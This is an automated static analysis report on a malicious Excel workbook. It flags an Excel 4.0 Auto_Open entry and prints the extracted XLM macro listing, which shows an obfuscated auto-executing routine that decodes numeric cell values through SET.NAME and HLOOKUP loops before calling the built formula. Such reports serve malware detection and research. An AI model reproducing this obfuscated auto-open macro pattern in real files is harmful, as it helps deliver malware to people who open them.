Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef29db87ce4fc445…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:14 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 98e39f7a61455c9d66b3999ceb4b76b7 SHA-1: 37f393c2dad3d162cb999ec8be0f42f3b59ce17d SHA-256: ef29db87ce4fc445c86b56416372f7ea3b302df7f263b6dbb40f564f0b470e18
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6608 bytes
SHA-256: 61a13475fa0d4438b699bbf4057464bafd776c24cb4e3c22bbc96ab6559e9b7a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iKwI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E153 
' 0018     26 LABEL : Cell Value, String Constant - AwtvvmWyrfH len=0 
' 0018     25 LABEL : Cell Value, String Constant - CkUdyVfBJt len=0 
' 0018     24 LABEL : Cell Value, String Constant - DwcFKiUfz len=0 
' 0018     27 LABEL : Cell Value, String Constant - dwiIHFgFaxwm len=0 
' 0018     24 LABEL : Cell Value, String Constant - GWhUKWFNA len=0 
' 0018     25 LABEL : Cell Value, String Constant - iFptlbeAqY len=0 
' 0018     23 LABEL : Cell Value, String Constant - JhEXDItj len=0 
' 0018     23 LABEL : Cell Value, String Constant - kmnJLmJW len=0 
' 0018     22 LABEL : Cell Value, String Constant - LdGEddA len=0 
' 0018     23 LABEL : Cell Value, String Constant - mwITVide len=0 
' 0018     24 LABEL : Cell Value, String Constant - OnoWRGJJR len=0 
' 0018     21 LABEL : Cell Value, String Constant - oSDEHr len=0 
' 0018     23 LABEL : Cell Value, String Constant - rgFwpdxG len=0 
' 0018     20 LABEL : Cell Value, String Constant - rgUKC len=0 
' 0018     26 LABEL : Cell Value, String Constant - vEepTwtSfrE len=0 
' 0018     24 LABEL : Cell Value, String Constant - viNbOZkTB len=0 
' 0018     27 LABEL : Cell Value, String Constant - WSMzRdNrYqjN len=0 
' 0018     22 LABEL : Cell Value, String Constant - WVlHbRU len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZLISbhCUrg len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZOSQYqezyNRQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iKwI,E64,"SET.NAME("LdGEddA",0+VALUE("0"))",""
'  iKwI,E68,"SET.NAME("iFptlbeAqY",LdGEddA)",""
'  iKwI,E70,"SET.NAME("vEepTwtSfrE",LdGEddA)",""
'  iKwI,E72,"SET.NAME("viNbOZkTB",COUNTA(rgUKC))",""
'  iKwI,E74,"SET.NAME("WSMzRdNrYqjN",COUNTA(AwtvvmWyrfH))",""
'  iKwI,E76,[],""
'  iKwI,E78,"SET.NAME("CkUdyVfBJt","")",""
'  iKwI,T79,"",-513.00000000000000000000
'  iKwI,T80,"",241.00000000000000000000
'  iKwI,T81,"",736.00000000000000000000
'  iKwI,T82,"",-498.00000000000000000000
'  iKwI,E83,"iFptlbeAqY",""
'  iKwI,T83,"",855.00000000000000000000
'  iKwI,T84,"",-356.00000000000000000000
'  iKwI,E88,"SET.NAME("ZOSQYqezyNRQ",HLOOKUP("*",rgUKC,iFptlbeAqY,FALSE))",""
'  iKwI,E92,"mwITVide",""
'  iKwI,E94,"SET.NAME("OnoWRGJJR",LdGEddA)",""
'  iKwI,E99,[],""
'  iKwI,E103,"OnoWRGJJR",""
'  iKwI,E108,"GWhUKWFNA",""
'  iKwI,E113,"ZLISbhCUrg",""
'  iKwI,E117,"JhEXDItj",""
'  iKwI,E119,"SET.NAME("dwiIHFgFaxwm",VALUE(HLOOKUP("*",AwtvvmWyrfH,JhEXDItj,FALSE)))",""
'  iKwI,E121,"kmnJLmJW",""
'  iKwI,E126,"CkUdyVfBJt",""
'  iKwI,E128,"vEepTwtSfrE",""
'  iKwI,E131,NEXT(),""
'  iKwI,E135,"rgFwpdxG",""
'  iKwI,E139,[],""
'  iKwI,E143,"DwcFKiUfz",""
'  iKwI,E148,NEXT(),""
'  iKwI,E151,RETURN(),""
'  iKwI,E174,"SET.NAME("oSDEHr",E64)",""
'  iKwI,E178,"rgUKC",""
'  iKwI,E180,"SET.NAME("AwtvvmWyrfH",R62C14)",""
'  iKwI,E183,"SET.NAME("DwcFKiUfz",193)",""
'  iKwI,E187,"SET.NAME("WVlHbRU",5)",""
'  iKwI,E192,oSDEHr(),""
'  iKwI,E193,HALT(),""

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